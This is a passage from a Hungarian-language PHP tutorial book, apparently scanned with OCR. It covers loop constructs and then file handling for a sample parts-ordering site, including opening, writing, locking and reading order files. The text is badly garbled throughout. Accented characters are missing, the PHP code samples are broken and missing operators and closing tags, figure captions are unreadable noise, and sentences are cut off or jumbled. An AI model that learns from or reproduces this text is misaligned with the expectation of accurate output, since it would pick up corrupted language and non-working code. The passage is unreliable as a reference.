nem teljesen egyezik meg a vrttal, gyakran kell a HTML kdot bngsznnk.
Az 1.3 pldakdban \n karaktereket lthatunk egyes szetingeken bell. Ha ketts idzjelben lv szvegben szerepel,
akkor ez a karaktersor jsor karaktert jelent.
PHP gyorstalpal
37
den ismtldse eltt a felttelben ellenrizzk a szmllt, a vgnl pedig mdostjuk annak rtkr.
for ciklus segtsgvel ennl rvidebben is rhatunk ilyen stlus ciklust. A for ciklus alapszerkezere a kvetkez:
for( kifejezsl;
felttel; kifejezs2)
kifejezs];
Kezdskor vgrehajtdik a kifejezs l. Itt ltalban a szmll kezdeti rtkt llguk be.
Minden egyes ismtlds eltt a felttel ben szerepl kifejezs rtkeldik ki. Ha a kifejezs hamis, az ismtlds
-
tartalmazza.
Az 1.3 pldakdban szerepl wh ile ciklust trhatjuk for cikluss. Ebben az esetben a PHP kd a kvetkezkppen
nz ki:
<?php
for ($tavolsag = 50; $tavolsag <= 250; $tavolsag += 50}
echo "<tr>
<td align=\"right\">".$tavolsag."<ltd>
<td align=\"right\">". ($tavolsag l 10) ."<ltd>
<ltr>\n";J
?>
Mkdsket tekintve a while s a for ciklust hasznl vltozatok egyenrtkek. A for ciklus valamivel tmrebb,
kt sort megsprolhatunk vele.
Akr ciklustpus egyenrtk, egyik sem rosszabb vagy jobb, mint a msik. Minden helyzetben azt a ciklust hasznljuk,
az
Afor ciklus mellett foreach ciklus is ltezik, amit kifejezetten a tmbkkel vgzett munkra alakrottak ki. Hasznlat
do ...while ciklusok
Az urolsknt bemutatand ciklustpus enyhn eltr mdon viselkedik. A do...while ltalnos szerkezete a kvetkez:
do
kifejezs;
while( felttel } ;
A do ...while ciklus abban klnbzik a while ciklusrl, hogy a felttel ellenrzsre a vgn kerl sor (htultesztels
ciklus). Ezt azt jelenti, hogy a do... while ciklus esetn a benne lev urasrs vagy blokk minden esetben legalbb egyszer
vgrehajtdik.
Mg a kvetkez pldban is, amelyben a felttel mr az elejn nem teljesl- s soha nem is fog-, a ciklus egyszer lefut,
mieltt ellenrizn a felttelt s lellna:
$num = 100;
do{
echo $num."<br l>";
}while ($num < l
38
2. fejezet
Amennyiben ciklus vgrehajtst akarjuk meglltani,akkor a switch utastst bemutat rszben trgyalt break utas
tst kell hasznlni. Ha ciklusorr bell break utastst hasznlunk, a kd vgrehajtsa a ciklus utni kvetkez kdsorral fog
folytatdni.
Ha a ciklus kvetkez ismtldsre kvnunk ugrani,akkor a continue utastst kell alkalmaznunk.
Ha a teljes PHP kd vgrehajrsr akarjuk befejezni,akkor az ex it utastst hasznljuk. Ez a faj ra megkzelts jellemzerr
hibaellenrzskor lesz hasznos. Pldul a kvetkezkppen mdosrhaguk az elz pldt:
if($osszmennyiseg ==
0) {
echo
exit;
jel({),ms nven az utasts zrjel helyett kettspontot (:),a zr kapcsos zrjel helyett pedig egy j kulcsszt hasznlunk,
amely a hasznlt vezrlsi szerkezettl fggerr endif, endswitch, endwhile, endfor vagy endforeach lehet. A do ...
ciklus esetn az ilyen vezrlsi szerkezer nem hasznlhat.
while
exit;
az
if
if
($osszmennyiseg ==
echo
0)
exit;
endif;
ll blokk
}
Ezzel a szerkezetteljuttatsi direktvkat lltunk be-vagyis szablyokat arra vonatkozan, hogyan fusson le a kvetkez
kd. Jelenleg egyetlen,a tick nev futtatsi direktva van belltva. A ticks=n direktva beszrsval kapcsoljuk be. Lehetv
teszi,hogy a kdblokk rninden n. sorban futtassunk egy adott fggvnyt, amely elssorban a profilozs s hibakeress esetn
hasznos.
A declare vezrlsi szerkezeter itt csak a teljessg kedvrt emltettk meg. A tick fggvnyek hasznlatt bemutat
pldkkal a 25. (PHP s MySQL hasznlata nagyobb projektekhez) s a 26. fejezetben (Hibakeress) tallkozunk.
Hogyan tovbbi
Mosr mr tudjuk, hogyan fogadjuk s kezeljk a vevk megrendelseit. A kvetkez fejezerben megranuljuk, hogyan troljuk el
azokat,hogy a ksbbiekben visszakereshetk s teljesrhetk legyenek.
2
Adatok trolsa s visszakeresse
Most, hogy mr tisztban vagyunk azzal, hogyan rjk el s kezelhetjk a HTML rlapba bevirt adatokat, nzzk meg, miknt
lehet ksbbi felhasznls cljbl eitroini azokat! Az esetek tbbsgben - ahogy az elz fejezet pldjban is - pontosan ez
a clunk: a ksbbi visszakereshetsg rdekben eitroini az adatokat. A pldban az gyfelek megrendelseit fogjuk eltrolni,
majd ksbb betlteni.
Ebben a fejezetben megranuljuk, hogyan rhatjuk az elz pldbl szrmaz megrendelseket fjlba, illetve hogyan olvas
hatjuk vissza azokat. Az is kiderl, hogy mirt nem minden esetben lesz ez j megolds. Ha nagyszm megrendelssel dolgo
zunk, rdemes inkbb adatbzis-kezel rendszert, pldul MySQL-t hasznlni.
A fejezetben az albbi fbb tmakrket rintjk:
Adatok elmentse ksbbi hasznlat cljbl
Fjl megnyitsa
Fjl ltrehozsa s fjlba rs
Fjl bezrsa
Olvass fjlbl
Fjlok zrolsa
Fjlok rrlse
Egyb hasznos fjlfggvnyek hasznlata
Egy jobb mdszer; adatbzis-kezel rendszerek hasznlata
Az egyszer fjl sokfle formtum lehet, de az ilyen fjlok alatt ltalban egyszer szveges fjlt rtnk. A fejezet pldj
ban szveges fjlba rjuk az gyfelek megrendelseit gy, hogy minden sorba egy megrendels kerl.
A megrendelsek ilyetn trolsa igen egyszer, m nagymrtkben beszkiti majdani lehetsgeinket, ahogy azt a fejezet
ksbbi rszben ltni fogjuk. Ha jelents mennyisg informcival dolgozunk, clszerbbnek fogjuk tallni adatbzis hasz
nlatt. Az egyszer fjloknak is megvan azonban a maguk haszna, s bizonyos helyzetekben jl jn, ha tudjuk hasznlni ket.
A fjlba rs s fjlbl olvass folyamata sok programozi nyelvben hasonl. Azok, akik programoztak mr C-ben, vagy rtak
mr Unix shell szkripteket, ismersnek fogjk tallni ezeket az eljrsokat.
40
2. fejezet
Bob autalkatrszek
Rendelsi urbp
====::::J
-=.--=.cd.__-----------,
---- --
2.1 bra: A
A szlltsi cmhez tartoz rlapmez neve szalli tasi eim. Az gy kapott vltozt az rlap adaekldsi metdustl
_
fggen$ REQUEST ['szalli tasi_eim ] ,$ POST [ 'szalli tasi_eim' l vagy$_GET ['szalli tasi_eim' l for
_
'
gyorstalpal cm l. fejezetet!)
A mostani fejezet sorn ugyanabba a fjlba rjuk a berkez megrendelseket. Ezt kveten elksztjk Bob alkalmazottai
szmra az internetes felletet, ahol megtekinthetik a berkezett megrendelseket.
Fjlok feldolgozsa
Az adatok fjlba rshoz hrom lpsre van szksg:
l. A fjl megnyitsa. Amennyiben a fjl mg nem ltezik, ltre kell hoznunk.
2. Adatok rsa a fjlba.
3. A fjl bezrsa.
Amikor fjlbl kivnunk adatokat beolvasni, tbbfle vlasztsi lehetsgnk van arra vonatkozan, hogy egyszerre a fjl
mekkora rszt olvassuk be. A leggyakoribb lehetsgeket rszletesen bemutatjuk. Egyelre azonban kezdjk a dolgot a legele
jn, a fjl megnyitsva!!
Fjl megnyitsa
A fjlok PHP-beli megnyitshoz az fo pen ( ) fggvnyt hasznljuk. Amikor megnyirunk egy llomnyt, meg kell hatroz
nunk, hogy miknt kivnjuk hasznlni. Ezt a megnyitsi
A szerver opercis rendszernek tisztban kell lennie azzal, hogy mit szerernnk tenni az ppen megnyrni kivnt fjllal.
Tudnia kell, hogy amg ltalunk meg van nyitva az llomny, ms kd egyltaln megnyithatja-e, illetve hogy mi (vagy a kd
tulajdonosa) rendelkeznk-e egyltaln jogosultsggal a kivnt mdon hasznlni a fjlt. A megnyitsi mdok lnyegben olyan
mechanizmust adnak az opercis rendszernek, amivel meg tudjk hatrozni, miknt kezelje a ms felhasznlktl vagy k
doktl rkez hozzfrsi krseket, s mdszert knlnak annak ellenrzsre, hogy van-e hozzfrsnk s jogosultsgunk az
adott fjlhoz.
Fjl megnyitsakor hrom dntst kell hoznunk:
l. A fjlt megnyithatjuk csak olvassra, csak rsra, vagy rsra s olvassra is.
2. Amikor fjlba runk, fellrhatjuk a meglv fjl jelenlegi tarcalmt, vagy j adatokat fzhetnk a vghez. Ltez fjl ese
tn fellrs helyerr azt is megcehetjk, hogy jelezzk a felhasznlnak a fjl megltt, majd a fjl mdostsa nlkl kilpnk
a programbl.
3. Amennyiben a binris s szveges fjlokat megklnbztet rendszeren prblunk meg fjlba rni, azt is meg kell hatroz
41
fjlt rsra:
$fp
'w');
Az fopen ( ) fggvny meghvsakor kett, hrom vagy ngy paramtert vr. ltalban kettt lthatunk, mint a fenti kd
sorban is.
Az els paramter a megnyitni kivnt fjl legyen! Megadhatjuk elrsi tvonalt, mint ebben a pldban is; jelen esetben
a r endele sek.
zt hasznltuk, de akrcsak az rlapvltozk krlmnyes teljes neveinl, rvidebb nevet rendeltnk hozz.
Ez a vltoz a webszerver dokumentumfjnak tetejre mutat. A kdsor a .. karakterekkel..a dokumentum gykrknyvtr
nak szlknyvtrra" utal. Ez a knyvtr biztonsgi okokbl a dokumentumfn kivl helyezkedik el. Jelen esetben nem szeret
nnk, hogy ez a fjl- az ltalunk ksztend internetes felletet leszmtva- interneten keresztl elrhet legyen. Ezt az elr
si tvonalat relatv elrsi tvonalnak nevezzk, mert a dokumentumgykrhez viszonytva mucat a f;ijlrendszer adott helyre.
A krcsak az rlapvltozkhoz rendelt rvidebb nevek esetn, most is az albbi sort kell a kd elejn szerepeltetnnk ahhoz,
hogy tmsoljuk vele a hossz stlus vltoz tartalmt a rvidebb nevbe:
$DOCUMENT_ROOT
$_SERVER['DOCUMENT_ROOT'];
Ahogy az rlapadatok elrsnek is tbb mdja lehetsges, az elre definilt szervervltozkat is klnbzkppen rhetjk
el. Kiszolglnk belltstl fggen (a rszleteket lsd az l. fejezetben)a kvetkezkkel jutharunk a dokumenrumgykrhez:
$_SERVER['DOCUMENT_ROOT']
$DOCUMENT_ROOT
$HTTP_SERVER_VARS['DOCUMENT_ROOT']
gyomnyos (/)s fordrott perjeleker ( \) is alkalmazhatunk. Az utbbi esern klnleges karakterknt kell jellnnk ket az
fopen () fggvny szmra, hogy megfelelen rtelmezze azokat. Vdkarakrerknr egyszeren egy msik fordtorr perjelet
fopen("$DOCUMENT ROOT\\..\\rendelesek\\rendelesek.txt",
'w');
Nagyon kevesen hasznlnak fordtott perjeleket a PHP-beli elrsi tvonalakban, mert az azt eredmnyezi, hogy a kd csak
windowsos krnyezetben fog mkdni. Hagyomnyos perjelek alkalmazsa esern minden mdosrs nlkl hasznlharjuk
a kdot
Az fopen () msodik paramtere a megnyirsi md, amelynek karakterlncnak kell lenni. Ez hatrozza meg, hogy rnir sze
reennk tenni a fjllal. Jelen esetben a
'w'
Md
Mdneve
Olvass (Read)
r+
Olvass (Read)
rs (Wrire)
Fjl megnyitsa rsra a fjl elejn kezdve. Ltez fjl esern trli a meglv
tartalmat. Ha a fjl nem ltezik, megprblja ltrehozni.
w+
rs (Write)
Fjl megnyitsa rsra s olvassra a fjl elejn kezdve. Ltez fjl esern trli
a meglv tartalmat. Ha a fjl nem ltezik, megprblja ltrehozni.
Fjl megnyitsa rsra a fjl elejn kezdve. Ltez f;ijl esern nem nyitja meg
azt, az fopen() false rtkkel tr vissza, a PHP pedig figyelmeztetst generl.
42
2. fejezet
Md
Mdneve
x+
Jelentse
Fjl megnyitsa rsra s olvassra a fjl elejn kezdve. Ltez fjl esetn nem
nyitja meg azt, az fopen() false rtkkel tr vissza, a PHP pedig figyelmezce
tse generl.
Hozzfilzs (Append)
a+
Hozzfilzs (Append)
Binris (Binary)
Szveg (Text)
'
'
mdot vlasztottuk,
amely egyetlen megrendels trolst teszi lehetv a fjlban. Minden j megrendels felvtele fellrja az elz rendelst. Mivel
ennek gy nem sok rtelme van, nyilvnvalan jobban jrunk a hozzfilzs (s az ajnlott binris) md kivlasztsval:
$fp
fopen("$DOCUMENT_ROOTI..Irendeleseklrendelesek.txt",
'ab');
Az fopen () fggvny harmadik paramtere opcionlis. Akkor hasznljuk, ha szeretnnk rkeresni a fjl inelude_path
bellrsra (amir a PHP konfigurcii kzrr adhatunk meg; lsd Fggelk: A PHP
a paramtert l-re! Ha utastjuk a PHP-r, hogy keressen r az
include_path -ra,
fopen('rendelesek.txt',
'ab',
true);
fopen ( )
lyezznk (pldul h ttp: ll) , s tvoli helyen nyissuk meg az llomnyokat. Egyes protokollok egy tovbbi paramtert is
megengednek. m mindez a szerverbellrsokrl fgg, s szigor rendszerzemeltets mellett szmolnunk kell az
HTTP-s mkdsnek riltsval. Az
fopen
fopen
()
Amennyiben az fopen () sikeresen megnyitja a f;ijlr, a fggvny visszarrsi rtke egy fjlerforrs, ami lnyegben fjlazo
nosr, amivel a fjira hivatkozunk. A fjlerforrsr vltozban troljuk - ez jelen esetben a $ fp. Ezt a vltozr hasznlva rjk
el a fjlt, amikor tnylegesen olvasni akarjuk, vagy rni szeretnnk bele.
ph p.ini
f open
a ph p.ini llomnyt!
Ha a hasznlt fjlnv
ftp: ll -vel
43
(>11
.......
_,...
-18''i2
Bob autalkatrszek
Rendelsi eredmlnyek
a-.....11.39,141li120\0
Raodtll......:kd<...-...,U
,_
4!1obm..a.j
$264.00
Sdoo:Nou-..Jll
w..,__..._oors.qWed..,_
--s.. ....... &..co..y ia
....
_.._.
-...
.....-,........
2.2 bra:
Ilyen hiba esetn meg kell bizonyosodnunk arrl, hogy a kdot futtat felhasznl rendelkezik-e hozzfrsi jogosultsggal
az
ltalunk hasznlni kvnt fjlhoz. A kiszolgl belltstl fggen a kd futhat a webszerver felhasznljaknt vagy azon
rendelsek trolsra:
mkdir -/rendelesek
chrnod 777
-/rendelesek
Egy pillanatra sem szabad elfelejteni, hogy az olyan knyvtrak s fjlok, amelyekbe brki rhat, igen veszlyesek lehetnek.
A kzvedenl az internetrl elrhet knyvtraknak nem szabad rhatknak lennik. A rendelesek knyvtrunk pontosan
ezrt kt alknyvtrral feljebb, a pub li c_html felett helyezkedik el. A biztonsggal rszletesebben foglalkozunk majd a 15.
fejezetben (Az e-kereskedelem
biztonsgi krdsei).
A rossz jogosultsgi bellts taln a leggyakrabban elkvetett, m messze nem az egyeden fjlmegnyitsi hiba. Ha nem rud
juk megnyitni a fjlt, fontos, hogy tisztban legynk ezzel, s ne prbljunk meg adatokat olvasni belle vagy rni bele!
Amennyiben az fopen () fggvnnyel vgzett megnyitsi ksrlet sikertelen, a fggvny false rtkkel tr vissza. A hibt
sokkal inkbb felhasznlbart mdon kezdhetjk, ha elnyomjuk a PHP hibazenetet, s a sajrunkat hasznljuk:
@ $fp
fopen("$DOCUMENT_ROOT/ ../rendelesek/rendelesek.txt",
'ab');
(1$fp) {
if
prblkezzon ks6bb!</strong></p></body></html>";
exit;
Az fopen () meghvsa eltti @ szimblum utastja a PHP-t, hogy elnyomja a fggvnyhvsbl ered hibkat. lta
lban hasznos rudomst szerezni arrl, ha a dolgok nem megfelelen mkdnek, m jelen esetben mshol fogjuk kezelni
a problmt.
A kvetkezkppen is rhatjuk ezt a sort:
$fp
@fopen("$DOCUMENT_ROOT/../rendelesek/rendelesek. txt",
'a');
Ezzel a mdszerrel taln kevsb nyilvnval, hogy hibaelnyom mveleti jelet hasznlunk, gy kiss megneheztheti k
dunkban a hibakeresst.
Az itt bemutatott mdszer a hibakezels tlzottan leegyszerstett mdja. Elegnsabb mdszervel a
Hiba- s kivtelkezels
44
2. fejezet
l}c:_
t4f
tll'
... .......
'
_,... r,..-
!.:::.-.-- -_,._
;o: '1::1.
Bob autalkatrszek
Rodtlsi uedmbyek
..-..-12
,__.
........
a.....s....oo
..-Nocrwalll
2
2.3 bra: A
Fjlba rs
A fjlba rs viszonylag egyszer PHP-ben. Az fwrite() (file write) vagy az fputs () (file put string) fggvnyt hasznlhat
juk erre; az fputs () az fwrite () fggvny lneve (aliasa). Az fwrite () hvsa a kvetkezkppen trtnik:
fwrite($fp,
$kimeneti_sztring);
A fggvny kzli a PHP-vel, hogy rja a $kimeneti_sztring vltozban trolt karakterlncot az $fp ltal mutatort
fjlba.
Az fwrite( ) lehetsges alternatvja a file _put_contents () fggvny. Ennek a kvetkez a protorpusa:
int file_put contents ( string fajlnev,
string adat
[,
int flags
[,
resource contextlll
Ez a fggvny az fopen () (vagy felcse ()) meghvsa nlkl rja az adat vltozban trolt karakterlncot a fajlnev
nev fjlba. A fggvny a PHPS jdonsga s a file_get_contents() fggvny prja. Ez utbbi fggvnyt is rvidesen be
mutatjuk. A flags s a context nem ktelez paramtert leginkbb akkor hasznljuk, amikor tvoli fjlokba runk pldul
HTTP vagy FTP segtsgveL (E fggvnyeket a
Az f w r i t e (
) fiiggvny paramterei
Az fwrite () fggvny hrom paramtert fogad, m ezek kzl a harmadik nem ktelez. A fggvny prototpusa a kvetkez:
int fwrite ( resource eroforras_valtozo,
string string
[,
int hossz])
A harmadik paramter, a hossz az rni kvnt bjtok maximlis szma. Ha megadjuk ezt a paramtert, az fwrite() fgg
vny addig rja a string karakterlncot az ero forras_valtoz o ltal mutatort fjlba, amg el nem ri a string vgt
vagy a hossz mennyisg bjtot.
Egy karakterlnc hosszt a strlen () beptert PHP fggvnnyel derthetjk ki, mgpedig a kvetkezkppen:
fwrite($fp,
$kimenetl_sztring,
strlen($kimeneti sztrlng));
A harmadik paramtert akkor rdemes hasznlni, amikor binris mdban runk, mivel segt elkerlni a platformok kzrti
kompatibilits problmit.
Fjlformtumok
Arnikor a pldban szerepl adatfjlhoz hasonlt hozunk ltre, teljes mrtkben a sajt dnts nk, hogy milyen formtumban
troljuk az adatokat. (Ha azonban ms alkalmazsban kszlnk hasznlni az adatfjlt, annak szablyait is figyelembe kell
vennnk.)
Most pedig hozzunk ltre egy karakterlncot, amely az adatfjl egy rekordjt jelkpezi! A kvetkezkppen tehetjk ezt meg:
$kimeneti sztring
Ezen egyszer plda esetben a rendelsi rekordokat a fjl kln soraiban troljuk. A rekordokat soronknt rva egyszeren
addik rekordelvlasztnak az jsor karakter. Mivel ezek lthatatlanok, a "\n" vezrl szekvencival jelkpezzk ket.
45
Az egsz knyvben vgig ugyangy rjuk az adatmezket, s tabultor karakterrel vlasztjuk el ket egymstl. Mivel a ta
bultor karakter szimn lthatatlan, a "\t" vezrl szekvencival jelljk. Brmilyen rtelmes elvlasztt alkalmazhatunk,
csak legyen knnyen olvashat!
Az elvlaszt vagy hatrol karakter csak olyan lehet, ami a bevitt adatok kztt egyltaln nem fordul el. Ellenkez eset
ben fel kell dolgozni a bevitt adatokat, s el kell tvoltani bellk az elvlaszt minden elfordulst. A bemeneti adatok fel
dolgozsval a Karakterlncok kezelse s regulris kifejezsek cm 4. leckben foglalkozunk majd. Egyelre elg azt felttelezni,
hogy senki nem fog tabultort letni a rendelsi rlapon. Bonyolult ugyan, de nem lehetetlen, hogy a felhasznl tabultort
vagy j sort szr egy egysoros HTML bemeneti mezbe.
Klnleges mezelvlaszt hasznlatval egyszeren kln vltozkba bonthatjuk az adatokat, amikor visszaolvassuk ket.
A harmadik (Tmbk hasznlata) s a negyedik fejezetben trgyaljuk ezt a tmt. Itt azonban minden megrendelst egyetlen
karakterlncknt kezelnk.
Nhny megrendels feldolgozsa utn a fjl tartalma a 2.1 pldakdban lthathoz kell, hogy hasonltson.
2.1 pldakd: rendelesek. txt
20:30,
-Plda a
rendelesek. txtfjl
lehetsges tartalmra
Smalltown
20:42,
Newtown
20:43,
31st March 2008 O gumiabroncs l olaj 4 gyjtgyertya $26.00 127 Acacia St,
Springfield
Fjl bezrsa
Ha befejeztk a fjlon vgzett munkt, be kell zrni. Az fclose () fggvny albbi hasznlatval tehetjk ezt meg:
fclose($fp);
A fjl sikeres bezrsa esetn a fggvny true, azaz igaz rtkkel tr vissza, ellenkez esetben hamissal (false). Ez a fo
lyamat a megnyitsnl sokkal kisebb valsznsggel vlt ki brmilyen problmt, ezrt jelen esetben gy dntnk, hogy nem
ellenrizzk.
A 2.2 pldakd mutatja a rendeles_ feldolgozasa. ph p ksz vltozatnak teljes kdjt.
2.2 pldakd: rendeles feldolgozasa. php-A
_
<?php
ll rvid vltoznevek ltrehozsa
$abroncs db = S_POST['abroncs_db'];
Solaj_db
$gyertya_db
$ POST['olaj
=
$szallitasi_cim
$DOCUMENT_ROOT
$datum
db'];
$ POST['gyertya_db'];
=
$ _POST['szallitasi eim'];
$ SERVER['DOCUMENT_ROOT'];
date('H:i,
jS
Y');
?>
<html>
<head>
<title>Bob autalkatrszek - Rendelsi eredmnyek<ltitle>
<lhead>
<body>
<hl>Bob autalkatrszek</hl>
<h2>Rendelsi eredmnyek</h2>
<?php
echo "<p>Rendels feldolgozsnak id6pontja:
".date('H:i,
jS
Y') ."</p>";
46
2. fejezet
</p>";
$osszmennyiseg = 0;
$osszmennyiseg
$abroncs db
if ($osszmennyiseg == 0)
$olaj db
$gyertya_db;
".$osszmennyiseg."<br />";
else
if ($abroncs_db > 0)
echo $abroncs db." gumiabroncs<br />";
if ($olaj_db > 0)
echo $olaj_db." flakon olaj<br />";
if ($gyertya_db > 0)
echo $gyertya_db." gyjtgyertyacbr />";
$vegosszeg
0.00;
define( 'ABRONCSAR',
define('OLAJAR',
define('GYERTYAAR' ,
$vegosszeg
100);
10);
4) ;
$abroncs_db
$olaj db
$gyertya_db
ABRONCSAR
OLAJAR
*
GYERTYAAR;
$vegosszeg=number format($vegosszeg,
2,
$".$vegosszeg."</p>";
$kimeneti sztring
flock($fp,
'ab');
LOCK_EX);
if (!$fp)
echo "<p><strong> Megrendelst jelen pillanatban nem tudtuk feldolgozni.
Krjk,
exit;
prblkezzon ksbb!</strong></p></body></html>";
fwrite($fp,
flock($fp,
$kimeneti_sztring,
47
strlen($k1menet1_sztring));
LOCK_UN);
fclose ($fp);
echo "<p>Rendels
rgzitve.</p>";
?>
</body>
2
Olvass fjlbl
Egyelre ott tartunk, hogy Bob vevi megrendelseker adhatnak az interneten, de ha Bob alkalmazottai szerernk megnzni
a rendelseket, sajt maguknak kell a fjlokat megnyitni uk.
Ksztsnk egy olyan webes felletet, amelyen keresztl Bob alkalmazottai egyszeren elolvashatjk a fjlokat! Az ezt a fel
leret ltrehoz kdot a 2.3 pldakd mutatja.
2.3 pldakd: rendelesek_megtekintese. ph p- Kezelfellet az alkalmazottak szmra a megrendelseket tartalmaz fjlhoz
<?php
//rvid vltoznevek ltrehozsa
$DOCUMENT_ROOT
$_SERVER['DOCUMENT_ROOT'];
?>
<html>
<he ad>
<title>Bob autalkatrszek -
Megrendelsek</title>
</head>
<body>
<hl>Bob autalkatrszek</hl>
<h2>Megrendelsek</h2>
<?php
@$fp
fopen("$DOCUMENT_ROOT/../rendelesek/rendelesek. txt",
if (!$fp)
'rb');
prblkezzon ks6bb!</strong></p>";
exit;
while (! feof($fp))
$megrendeles= fgets($fp,
999);
?>
</body>
Ez a kd is a korbban bemutatott sorrendet kveti: megnyirja a fjlt, olvas belle, majd bezrja. A 2.1 pldakdban szerepl
adatfjl hasznlata esetn a kd kimenere megegyezik a 2.4 brn lthatvaL
48
2. fejezet
Bob autalkatrszek
i\Jegnodelkek
:G".)O,ll"'-do"lt.IM4_.._.1 .. 6.,.._So&l400l:SIIai.So.,
tl.lllol.do:XIO ... OSI000033W..It4.
)Ul.llw.diO....I
..,.._.. .e.j'S!dOOI:1Aucio$t. .......
kd megjelenti bngszben
a rendelesek. txt fjlban lev aktulis megrendelseket.
fopen("$DOCUMENT_ROOT/.. /rendelesek/rendelesek.txt",
'rb');
Az feof () fggvny egyeelen paramcere a fjlmucac. Visszatrsi rtke true, amikor a fjlmutat a fjl vghez r. Br
a fggvny neve kicsic furcsnak tnhet, taln knnyebben megjegyezhet, ha tudjuk, hogy az angol File End Of File szavak
kezdbetibl addik.
Ebben az eseeben (illetve ltalnossgban, amikor fjlbl olvasunk), az EOF (end of fjl, azaz fjl vge) elrsig olvasunk a f:ijlbl.
999);
Ez a fggvny egyszerre egy sort olvas be a fjlbLJelen eseeben addig olvas, amg jsor karakterrel ( \n) nem tallkozik, el
nem ri a fjl vgt, vagy a fjlbl beolvasott adat mennyisge el nem ri a 998 bjcoc. A maximlis beolvasott mennyisg a meg
hatrozott rtk mnusz l bjt .
Sok ms fggvnye is hasznlhatunk fjlbl olvassra. Az fgets () fggvny pldul akkor hasznos, amikor egyszer szve
gec tartalmaz fjlokkal dolgozunk, s a szvegec darabonknt kvnjuk kezelni.
Az fgets () rdekes vltozata az fgetss () fggvny, aminek az albbi a prototpusa:
string fgetss(resource fp,
int hossz,
string
[megengedett_cimkek]);
A fggvny az fgets ()-hez hasonl azzal a klnbsggel, hogy a szvegben tallc minden PHP s HTML cmkt kiszed.
Ha valamilyen konkrt cmkt meg szeretnnk tartani, akkor a megengedett_ eimkek karakterlncban kell megadnunk
azt. Akkor rdemes hasznlni, ha msvalaki ltal rt vagy felhasznli bevitele tartalmaz fjlt olvasunk be. A fjlban lv, nem
korltozott HMTL kd megzavarhatja a gondosan eltervezett formzsunkac. PHP kd korldan hasznlata esetn a rosszin
dulat felhasznl majdnem celjes mrtkben rveheti az irnytst kiszolglnk felett.
Az fgetcsv () fggvny az fgets () egy msik vltozata. Prototpusa a kvetkez:
array fgetcsv ( resource fp,
[,
int hossz
[,
string hatarolo
string mezohatarolo]])
Ez a fggvnyhatrol karakter pldul a korbban ajnlott tabultor vagy - tblzatkezel s egyb alkalmazsok ltal
gyakran hasznlt- vessz alkalmazsa esetn szcbontja a fjl sorait. Amennyiben kln-kln szeretnnk a megrendelsben
szerepl vltozkat rekonstrulni, az fgetcsv( ) fggvnnyel egyszeren megtehetjk. Az fgets ()-hez hasonlan kell meg
hvni, de t kell adni neki a mezk elvlasztsra hasznlc hatrolc. Pldul:
Smegrendeles
fgetcsv($fp,
100,
"\t");
Ez a kd lekr egy sort a fjlbl, majd ahol tabultort (\t) tall, felbontja azt. Az eredmnyeket tmbben adja vissza (ami
nek pldnkban Smegrendeles a neve). A tmbket a 3. fejezeeben fogjuk rszleeesen megtrgyalni.
49
A hossz paramternek nagyobbnak kell lennie, mint a beolvasni kvnt fjlban lv leghosszabb sor karakterszma.
A mezohatarolo paramter hatrozza meg a sorban lv mezket hatrol karaktert.Amennyiben nem adjuk meg. alap
rtelmezsben a "-t {ketts idzjelet) hasznlja.
A readfile() hvsa megnyitja az llomnyt, megjelenti rartalmt a szabvnyos kimeneten {a bngszben), majd bezrja
a fjlt. A readfile () fggvny prototpusa:
int readfile(string fajlneve,
[,
resource kezelesi_mod]] );
Az opcionlis msodik paramter azt hatrozza meg. hogy a PHP-nek a php.ini include_path paramterben meg
hatrozott knyvtrban kell-e keresnie a fjlokar, s ugyangy mkdik, rnint az fopen ().A szintn opcionlis kezelesi_
mod paramtert csak akkor kell megadni, amikor tvolrl, pldul HTTP-n keresztl nyitjuk meg a fjlokat; az ilyen jelleg
hasznlatot a 20. fejezetben mutatjuk be rszletesen. A fggvny visszatrsi rtke a fjlbl beolvasott bjtok teljes szma.
A teljes fjl beolvassnak msodik mdszere az fpassthru() fggvny meghvsa. Ehhez elszr az fopen () fggvny
nyel meg kell nyimi a fjlt. Ezt kveten a fjlmutatt tadjuk paramterknt az fpassthru () fggvnynek, amely a szabv
nyos kimenetre kldi a fjlnak a mutat utni tartalmr. Ha vgzett, bezrja a fjlt.
Az elz kd helyett az albbit is hasznlhatjuk:
$fp = fopen("$DOCUMENT_ROOT/ ..lrendeleseklrendelesek. txt",
'rb');
fpassthru($fp);
Az fpassthru() fggvny visszatrsi rtke sikeres beolvass esetn igaz, msklnben hamis.
A harmadik lehetsg a file() fggvny hasznlata. Ez a readfile () fggvnyhez hasonl, m a fjl szabvnyos kimene
ten val megjelenrse helyett tmbb alaktja azt. Mkdst rszletesebben megvizsgljuk majd a tmbkkel foglalkoz 3.
fejezetben. A teljessg kedvrt nzzk, hogyan hvnnk meg:
$filearray = file ($DOCUMENT_ROOT/ ..lrendeleseklrendelesek. txt");
Ez a kd a filearray nev tmbbe olvassa be a teljes llomnyt, amelynek rninden sora a tmb egy-egy elemben troldik
el. rdemes tudni, hogy a fggvny a PHP korbbi verziiban binris adatokat nem tudott kezelni {nem volt,.binary safe").
A negyedik mdszer a file _get_ conten ts () fggvny hasznlata. Ez annyiban tr el a readfile () fggvnytl, hogy
a bngszben val megjelents helyett karakterlncknt adja vissza a fjl tartalmr.
1>":
$char);
A kd az fgetc() fggvnnyel egyszerre egy karaktert olvas be a fjlbl, eltrolja a $char vltozban, s teszi ezt rnindad
ri a fjl vgt. Ezt kveten formz egy kicsit, hogy a szveg sorvgr jell karaktereket (\n) HTML sort
rsekre cserlje { <br l>).
Ez csak azt szolglja, hogy rendbe rakja a formzst. Ha megtekintjk a fjl kimenett a rekordok kztt jsorokkal, akkor
a teljes fjlt egyeden sorban ltjuk megjelenni. { Prbljuk ki, s gyzdjnk meg rla sajt szemnkkel!) A bngszk nem fog
lalkoznak az olyan fehrkz karakterekkel, mint pldul az jsorok, ezrt HTML sortrsekre (<br l>) kell cserlni azokat.
A hromoperandus mveleti jelet alkalmazzuk erre.
Az fgets() fggvny helyett az fgetc () hasznlatnak mellkharsa, hogy az fgetc () az EOF karaktert adja vissza,
amit az fgets() nem tenne. A karakter beolvassa utn jbl ellenrizni kell az fe of() fggvnyt, mert az EOF karaktert
nem szeretnnk megjelenteni a bngszben.
'
50
2. fejezet
A fjlok karakterenknti beolvassa ltalban rtelmeden s nem igazn hatkony megolds, kivve akkor, ha valamilyen
oknl fogva kifejezetten karakterenknt szksges feldolgoznunk az llomnyokat.
int hossz);
A hossz paramter ltal bjtban meghatrozott maximlis adatmennyisget olvassa be (de legfeljebb a fjl vagy a hlzati
csomag vgig olvassa az adatokat).
else
echo
Visszatrsi rtke a b:ijtban kifejezett fjlmret. Az fread () fggvnnyel egytt hasznlva alkalmas a teljes fjl (vagy egy
